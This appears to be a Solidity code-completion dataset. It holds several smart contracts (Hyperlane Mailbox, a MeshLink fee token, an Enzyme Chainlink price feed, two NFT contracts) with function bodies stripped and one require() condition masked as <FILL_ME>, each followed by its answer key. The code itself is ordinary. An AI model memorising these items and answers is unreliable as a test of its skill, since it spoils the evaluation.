using TypeCasts for bytes32;
using TypeCasts for address;
// ============ Constants ============
// Maximum bytes per message = 2 KiB (somewhat arbitrarily set to begin)
uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10;
// Domain of chain on which the contract is deployed
uint32 public immutable localDomain;
// ============ Public Storage ============
// The default ISM, used if the recipient fails to specify one.
IInterchainSecurityModule public defaultIsm;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree public tree;
// Mapping of message ID to whether or not that message has been delivered.
mapping(bytes32 => bool) public delivered;
// ============ Upgrade Gap ============
// gap for upgrade safety
uint256[47] private __GAP;
// ============ Events ============
/**
* @notice Emitted when the default ISM is updated
* @param module The new default ISM
*/
event DefaultIsmSet(address indexed module);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param sender The address that dispatched the message
* @param destination The destination domain of the message
* @param recipient The message recipient address on `destination`
* @param message Raw bytes of message
*/
event Dispatch(
address indexed sender,
uint32 indexed destination,
bytes32 indexed recipient,
bytes message
);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param messageId The unique message identifier
*/
event DispatchId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is processed
* @param messageId The unique message identifier
*/
event ProcessId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is delivered
* @param origin The origin domain of the message
* @param sender The message sender address on `origin`
* @param recipient The address that handled the message
*/
event Process(
uint32 indexed origin,
bytes32 indexed sender,
address indexed recipient
);
/**
* @notice Emitted when Mailbox is paused
*/
event Paused();
/**
* @notice Emitted when Mailbox is unpaused
*/
event Unpaused();
// ============ Constructor ============
constructor(uint32 _localDomain) {
}
// ============ Initializers ============
function initialize(address _owner, address _defaultIsm)
external
initializer
{
}
// ============ External Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function setDefaultIsm(address _module) external onlyOwner {
}
/**
* @notice Dispatches a message to the destination domain & recipient.
* @param _destinationDomain Domain of destination chain
* @param _recipientAddress Address of recipient on destination chain as bytes32
* @param _messageBody Raw bytes content of message body
* @return The message ID inserted into the Mailbox's merkle tree
*/
function dispatch(
uint32 _destinationDomain,
bytes32 _recipientAddress,
bytes calldata _messageBody
) external override notPaused returns (bytes32) {
}
/**
* @notice Attempts to deliver `_message` to its recipient. Verifies
* `_message` via the recipient's ISM using the provided `_metadata`.
* @param _metadata Metadata used by the ISM to verify `_message`.
* @param _message Formatted Hyperlane message (refer to Message.sol).
*/
function process(bytes calldata _metadata, bytes calldata _message)
external
override
nonReentrantAndNotPaused
{
}
// ============ Public Functions ============
/**
* @notice Calculates and returns tree's current root
*/
function root() public view returns (bytes32) {
}
/**
* @notice Returns the number of inserted leaves in the tree
*/
function count() public view returns (uint32) {
}
/**
* @notice Returns a checkpoint representing the current merkle tree.
* @return root The root of the Mailbox's merkle tree.
* @return index The index of the last element in the tree.
*/
function latestCheckpoint() public view returns (bytes32, uint32) {
}
/**
* @notice Pauses mailbox and prevents further dispatch/process calls
* @dev Only `owner` can pause the mailbox.
*/
function pause() external onlyOwner {
}
/**
* @notice Unpauses mailbox and allows for message processing.
* @dev Only `owner` can unpause the mailbox.
*/
function unpause() external onlyOwner {
}
/**
* @notice Returns whether mailbox is paused.
*/
function isPaused() external view returns (bool) {
}
/**
* @notice Returns the ISM to use for the recipient, defaulting to the
* default ISM if none is specified.
* @param _recipient The message recipient whose ISM should be returned.
* @return The ISM to use for `_recipient`.
*/
function recipientIsm(address _recipient)
public
view
returns (IInterchainSecurityModule)
{
}
// ============ Internal Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function _setDefaultIsm(address _module) internal {
require(<FILL_ME>)
defaultIsm = IInterchainSecurityModule(_module);
emit DefaultIsmSet(_module);
}
}
| Address.isContract(_module),"!contract" | 413,605 | Address.isContract(_module) |
"Limits have already been removed" | // SPDX-License-Identifier: MIT
/*
MeshLink
Meshlink is pioneering the integration of advanced blockchain
solutions with state-of-the-art wireless technology. Our platform
is engineered for the future, setting new benchmarks in digital
transaction efficiency and network reliability.
Taxes: 5/5
Website: https://meshlink.me/
*/
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MeshLink is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax = 7;
uint256 private _initialSellTax = 7;
uint256 private _finalBuyTax = 5;
uint256 private _finalSellTax = 5;
uint256 private _reduceBuyTaxAt = 25;
uint256 private _reduceSellTaxAt = 25;
uint256 private _preventSwapBefore = 25;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
string private constant _name = unicode"Meshlink";
string private constant _symbol = unicode"mesh";
uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
uint256 public _taxSwapThreshold = 200000 * 10 ** _decimals;
uint256 public _maxTaxSwap = 200000 * 10 ** _decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _tradingOpen;
bool private _limitsRemoved;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function tradingOpen() public view returns (bool) {
}
function limitsRemoved() public view returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner {
require(<FILL_ME>)
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
_limitsRemoved = true;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner {
}
receive() external payable {}
function manualSwap() external {
}
}
| !_limitsRemoved,"Limits have already been removed" | 413,704 | !_limitsRemoved |
"__addPrimitives: Value already set" | // SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../interfaces/IChainlinkAggregator.sol";
/// @title ChainlinkPriceFeedMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Chainlink oracles as price sources
abstract contract ChainlinkPriceFeedMixin {
using SafeMath for uint256;
event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator);
event PrimitiveAdded(
address indexed primitive,
address aggregator,
RateAsset rateAsset,
uint256 unit
);
event PrimitiveRemoved(address indexed primitive);
enum RateAsset {
ETH,
USD
}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
uint256 private constant ETH_UNIT = 10**18;
uint256 private immutable STALE_RATE_THRESHOLD;
address private immutable WETH_TOKEN;
address private ethUsdAggregator;
mapping(address => AggregatorInfo) private primitiveToAggregatorInfo;
mapping(address => uint256) private primitiveToUnit;
constructor(address _wethToken, uint256 _staleRateThreshold) public {
}
// INTERNAL FUNCTIONS
/// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
function __calcCanonicalValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) internal view returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to set the `ethUsdAggregator` value
function __setEthUsdAggregator(address _nextEthUsdAggregator) internal {
}
// PRIVATE FUNCTIONS
/// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset
function __calcConversionAmount(
address _baseAsset,
uint256 _baseAssetAmount,
uint256 _baseAssetRate,
address _quoteAsset,
uint256 _quoteAssetRate
) private view returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate
function __calcConversionAmountEthRateAssetToUsdRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates
function __calcConversionAmountSameRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate
function __calcConversionAmountUsdRateAssetToEthRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to get the latest rate for a given primitive
function __getLatestRateData(address _primitive) private view returns (int256 rate_) {
}
/// @dev Helper to validate that a rate is not from a round considered to be stale
function __validateRateIsNotStale(uint256 _latestUpdatedAt) private view {
}
/////////////////////////
// PRIMITIVES REGISTRY //
/////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function __addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) internal {
require(
_primitives.length == _aggregators.length,
"__addPrimitives: Unequal _primitives and _aggregators array lengths"
);
require(
_primitives.length == _rateAssets.length,
"__addPrimitives: Unequal _primitives and _rateAssets array lengths"
);
for (uint256 i; i < _primitives.length; i++) {
require(<FILL_ME>)
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
// Store the amount that makes up 1 unit given the asset's decimals
uint256 unit = 10**uint256(ERC20(_primitives[i]).decimals());
primitiveToUnit[_primitives[i]] = unit;
emit PrimitiveAdded(_primitives[i], _aggregators[i], _rateAssets[i], unit);
}
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function __removePrimitives(address[] calldata _primitives) internal {
}
// PRIVATE FUNCTIONS
/// @dev Helper to validate an aggregator by checking its return values for the expected interface
function __validateAggregator(address _aggregator) private view {
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the aggregator for a primitive
/// @param _primitive The primitive asset for which to get the aggregator value
/// @return aggregator_ The aggregator address
function getAggregatorForPrimitive(address _primitive)
public
view
returns (address aggregator_)
{
}
/// @notice Gets the `ethUsdAggregator` variable value
/// @return ethUsdAggregator_ The `ethUsdAggregator` variable value
function getEthUsdAggregator() public view returns (address ethUsdAggregator_) {
}
/// @notice Gets the rateAsset variable value for a primitive
/// @return rateAsset_ The rateAsset variable value
/// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus
/// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the
/// behavior more explicit
function getRateAssetForPrimitive(address _primitive)
public
view
returns (RateAsset rateAsset_)
{
}
/// @notice Gets the `STALE_RATE_THRESHOLD` variable value
/// @return staleRateThreshold_ The `STALE_RATE_THRESHOLD` value
function getStaleRateThreshold() public view returns (uint256 staleRateThreshold_) {
}
/// @notice Gets the unit variable value for a primitive
/// @return unit_ The unit variable value
function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) {
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
}
}
| getAggregatorForPrimitive(_primitives[i])==address(0),"__addPrimitives: Value already set" | 413,759 | getAggregatorForPrimitive(_primitives[i])==address(0) |
"__removePrimitives: Primitive not yet added" | // SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../interfaces/IChainlinkAggregator.sol";
/// @title ChainlinkPriceFeedMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Chainlink oracles as price sources
abstract contract ChainlinkPriceFeedMixin {
using SafeMath for uint256;
event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator);
event PrimitiveAdded(
address indexed primitive,
address aggregator,
RateAsset rateAsset,
uint256 unit
);
event PrimitiveRemoved(address indexed primitive);
enum RateAsset {
ETH,
USD
}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
uint256 private constant ETH_UNIT = 10**18;
uint256 private immutable STALE_RATE_THRESHOLD;
address private immutable WETH_TOKEN;
address private ethUsdAggregator;
mapping(address => AggregatorInfo) private primitiveToAggregatorInfo;
mapping(address => uint256) private primitiveToUnit;
constructor(address _wethToken, uint256 _staleRateThreshold) public {
}
// INTERNAL FUNCTIONS
/// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
function __calcCanonicalValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) internal view returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to set the `ethUsdAggregator` value
function __setEthUsdAggregator(address _nextEthUsdAggregator) internal {
}
// PRIVATE FUNCTIONS
/// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset
function __calcConversionAmount(
address _baseAsset,
uint256 _baseAssetAmount,
uint256 _baseAssetRate,
address _quoteAsset,
uint256 _quoteAssetRate
) private view returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate
function __calcConversionAmountEthRateAssetToUsdRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates
function __calcConversionAmountSameRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate
function __calcConversionAmountUsdRateAssetToEthRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
}
/// @dev Helper to get the latest rate for a given primitive
function __getLatestRateData(address _primitive) private view returns (int256 rate_) {
}
/// @dev Helper to validate that a rate is not from a round considered to be stale
function __validateRateIsNotStale(uint256 _latestUpdatedAt) private view {
}
/////////////////////////
// PRIMITIVES REGISTRY //
/////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function __addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) internal {
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function __removePrimitives(address[] calldata _primitives) internal {
for (uint256 i; i < _primitives.length; i++) {
require(<FILL_ME>)
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit PrimitiveRemoved(_primitives[i]);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to validate an aggregator by checking its return values for the expected interface
function __validateAggregator(address _aggregator) private view {
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the aggregator for a primitive
/// @param _primitive The primitive asset for which to get the aggregator value
/// @return aggregator_ The aggregator address
function getAggregatorForPrimitive(address _primitive)
public
view
returns (address aggregator_)
{
}
/// @notice Gets the `ethUsdAggregator` variable value
/// @return ethUsdAggregator_ The `ethUsdAggregator` variable value
function getEthUsdAggregator() public view returns (address ethUsdAggregator_) {
}
/// @notice Gets the rateAsset variable value for a primitive
/// @return rateAsset_ The rateAsset variable value
/// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus
/// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the
/// behavior more explicit
function getRateAssetForPrimitive(address _primitive)
public
view
returns (RateAsset rateAsset_)
{
}
/// @notice Gets the `STALE_RATE_THRESHOLD` variable value
/// @return staleRateThreshold_ The `STALE_RATE_THRESHOLD` value
function getStaleRateThreshold() public view returns (uint256 staleRateThreshold_) {
}
/// @notice Gets the unit variable value for a primitive
/// @return unit_ The unit variable value
function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) {
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
}
}
| getAggregatorForPrimitive(_primitives[i])!=address(0),"__removePrimitives: Primitive not yet added" | 413,759 | getAggregatorForPrimitive(_primitives[i])!=address(0) |
"Artist name missing" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
````` `````
/NNNNN. /NNNNN`
/MMMMM. +MMMMM`
:hhhhh/::::. -::::sMMMMM` `````` `````````` `...` ``````` ` ` ```````` ```
`````mNNNNs NNMNFTMMMMM` ``bddddd.` mmdddddddd`` .odhyyhdd+` ``sddddddd/` gm- gm/ dmhhhhhhdh+` `/dddo`
mMMMMy NMMMMMMMMMM` ``bd-.....bd-` MM........mm `mM:`` `.oMy sm/.......sd: gM- gM+ NM-`````.sMy `/do...+do`
oWAGMI+++++GMMMMMMMMMM` gm:. ..gm. MM MM `NM:. /: yM/ `.` gM- gM+ NM` :Md /ms.` `.+mo
/MMMMM` +MMMMM` GM. gM- GMdddddddd:- -ydhhhs+:. yM/ gM- gM+ NM+////+smh. +Ms +Ms
/MMMMM` +MMMMM` GM. gM- MM::::::::hh `.-:/ohmh. yM/ gM- gM+ NMsoooooyNy` +MdsssssssGMs
yMMMMs:::::yMMMMMMMMMM` yh/: -:yh. MM MM /h/ sMs yM/ .:` gM/ gM/ NM` sM+ +Md+++++++GMs
gMMMMs M.OBSCURA.M` yh/:::::yh. MM::::::::hh .gM+..``.:CR: oh+:::::::sh: :Nm/.``..oMh` NM` :My +Ms +Ms .:.
`````mNNNNs MMMMM'21'MM` ahhhhh` hhhhhhhhhh` `/ydhhhhho. ohhhhhhh: .+hdhhhdy/` hh` `hy`/h+ /h+ :h+
/mmmmm-....` .....gMMMMM` `` ```
/MMMMM. +MMMMM`
:mmmmm` /mmmmm`
*/
//import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IObscuraCommunity.sol";
import "./interfaces/IRNG2.sol";
import "./interfaces/IRNG_multi_requestor.sol";
import "./randomiser.sol";
import "hardhat/console.sol";
contract ObscuraCommunity is ERC721, AccessControlEnumerable, IERC2981, IObscuraCommunity {
using Strings for uint256;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant MODERATOR_ROLE = keccak256("MODERATOR_ROLE");
uint256 private constant DIVIDER = 10**5;
uint256 private nextProjectId;
uint256 private defaultRoyalty;
address private _obscuraAddress;
string private _contractURI;
string private _defaultPendingCID;
string private constant dedication = "https://twitter.com/AppletonDave/status/1504585902160760834";
mapping(uint256 => string) public tokenIdToCID;
mapping(uint256 => Project) public projects;
mapping(uint256 => uint256) public requestToProject;
mapping (bytes32 => uint256[]) waiting;
uint256 nextRandomPos = 1;
mapping(uint256 => uint256) nextPlaceholder;
mapping(uint256 => mapping(uint256 => uint256)) tokenIDz;
// one mint = 1 x 1 photo per artist
// thus there are #photosPerArtist mints available in a foundry event.
struct Project {
uint16 publicMinted;
uint16 platformMinted;
uint16 photosPerArtist;
uint256 royalty;
string projectName; // for info only
string cid; // root of /artist/multiplePhotoMetadata structure
}
event ProjectCreated(
address caller,
uint256 indexed projectId
);
event ProjectRandomReceived(
uint256 projectID,
uint256[] randoms
);
event SetProjectCID(
address caller,
uint256 indexed projectId,
string cid
);
event SetTokenCID(address caller, uint256 tokenId, string cid);
event SetSalePublic(
address caller,
uint256 indexed projectId,
bool isSalePublic
);
event ProjectMinted(
address user,
uint256 indexed projectId,
uint256 tokenId
);
event ProjectMintedByToken(
address user,
uint256 indexed projectId,
uint256 tokenId
);
event ObscuraAddressChanged(address oldAddress, address newAddress);
event WithdrawEvent(address caller, uint256 balance);
constructor(address admin, address payable obscuraAddress)
ERC721("Obscura Community", "OC")
{
}
function setMinter(address _minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function isMinter(address query) external view returns (bool) {
}
function _tokenIdToProject(uint256 tokenId) internal pure returns (uint256) {
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
function setDefaultRoyalty(uint256 royaltyPercentPerMille)
public
onlyRole(MODERATOR_ROLE)
{
}
function setProjectRoyalty(uint256 projectId, uint256 royaltyPercentPerMille)
public
onlyRole(MODERATOR_ROLE)
{
}
function setContractURI(string memory contractURI_)
external
onlyRole(MODERATOR_ROLE)
{
}
function setProjectCID(uint256 projectId, string calldata cid)
external override
onlyRole(MODERATOR_ROLE)
{
}
function setTokenCID(uint256 tokenId, string calldata cid)
external override
onlyRole(MODERATOR_ROLE)
{
}
function setDefaultPendingCID(string calldata defaultPendingCID)
external override
onlyRole(MODERATOR_ROLE)
{
}
function setObscuraAddress(address newObscuraAddress)
external
onlyRole(MODERATOR_ROLE)
{
}
function createProject(
string memory _projectName,
uint16 _photosPerArtist,
string memory cid
) external override onlyRole(MINTER_ROLE) {
require(<FILL_ME>)
uint256 projectId = nextProjectId += 1;
projects[projectId] = Project({
photosPerArtist : _photosPerArtist,
projectName: _projectName,
publicMinted: 0,
platformMinted: 0,
cid: cid,
royalty: defaultRoyalty
});
emit ProjectCreated(msg.sender, projectId);
}
function latestProject() external view returns (uint256) {
}
function isMinted(uint256 tokenId) external view returns (bool) {
}
function mintTo( // passes burden to the minter to allocate the tokenIds
address to,
uint256 projectId,
uint256 passID
) external override onlyRole(MINTER_ROLE) {
}
function mintBatch( // passes burden to the minter to allocate the tokenIds
address to,
uint256 projectId,
uint32[] memory tokenIDs
) external override onlyRole(MINTER_ROLE) {
}
function _mintTo( // passes burden to the minter to allocate the tokenIds
address to,
uint256 projectId,
uint256 tokenID
) internal {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, AccessControlEnumerable, IERC165)
returns (bool)
{
}
}
| bytes(_projectName).length>0,"Artist name missing" | 413,773 | bytes(_projectName).length>0 |
"Max per wallet exceeded!" | // 8LEMENTS
pragma solidity >= 0.8.0;
contract ELEMENTS is ERC721AQueryable, Ownable, ReentrancyGuard, OperatorFilterer {
using Strings for uint256;
string public uriPrefix;
string public uriSuffix = ".json";
string public notRevealedURI = "ipfs://QmSvXAQj9wzkxxrZ7ugM7j22XVfrXTT5wTRAVGphK4j5wV/metadata3/hidden.json";
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 8016;
uint256 public maxPerTx = 20;
uint256 public maxPerWallet = 200;
bool public publicMint = false;
bool public claimMint = false;
bool public paused = true;
bool public revealed = false;
address public parentAddress = 0x9bbE09E8253450856E1dC6B068b07664152E4703;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A ( "8lements Official", "8L" ) OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
// ~~~~~~~~~~~~~~~~~~~~ URI's ~~~~~~~~~~~~~~~~~~~~
function _baseURI() internal view virtual override returns (string memory) {
}
// ~~~~~~~~~~~~~~~~~~~~ Modifiers ~~~~~~~~~~~~~~~~~~~~
modifier mintCompliance(uint256 _mintAmount) {
require(!paused, "The contract is paused!");
require(_mintAmount > 0 && _mintAmount <= maxPerTx, "Invalid mint amount!");
require(<FILL_ME>)
require(totalSupply() + _mintAmount <= maxSupply, "Mint amount exceeds max supply!");
_;
}
// ~~~~~~~~~~~~~~~~~~~~ Mint Functions ~~~~~~~~~~~~~~~~~~~~
// PUBLIC MINT
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// HOLDERS CLAIM
function claim(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// MINT for address
function mintToAddress(uint256 _mintAmount, address _receiver) public onlyOwner {
}
// Mass airdrop
function MassAirdrop(uint256 amount, address[] calldata _receivers) public onlyOwner {
}
// ~~~~~~~~~~~~~~~~~~~~ Checks ~~~~~~~~~~~~~~~~~~~~
// Start Token
function _startTokenId() internal view virtual override returns (uint256) {
}
// TOKEN URI
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// ~~~~~~~~~~~~~~~~~~~~ onlyOwner Functions ~~~~~~~~~~~~~~~~~~~~
// SET PARENT ADDRESS
function setParentAddress(address _newAddress) public onlyOwner {
}
// SET MAX SUPPLY
function setMaxSupply(uint256 _MaxSupply) public onlyOwner {
}
// SET COST
function setCost(uint256 _cost) public onlyOwner {
}
// SET MAX PER TRANSACTION
function setMaxPerTx(uint256 _maxPerTx) public onlyOwner {
}
// SET MAX PER WALLET
function setMaxPerWallet(uint256 _maxPerWallet) public onlyOwner {
}
// BaseURI
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
// NotRevealedURI
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
// ENABLE/DISABLE PUBLIC MINT
function enablePublicMint() public onlyOwner {
}
// ENABLE/DISABLE HOLDERS CLAIM
function enableClaimMint() public onlyOwner {
}
// PAUSE
function pause() public onlyOwner {
}
// REVEAL
function reveal() public onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
// ~~~~~~~~~~~~~~~~~~~~ Withdraw Functions ~~~~~~~~~~~~~~~~~~~~
function withdraw() public onlyOwner nonReentrant {
}
}
| _mintAmount+addressMintedBalance[msg.sender]<=maxPerWallet,"Max per wallet exceeded!" | 413,950 | _mintAmount+addressMintedBalance[msg.sender]<=maxPerWallet |
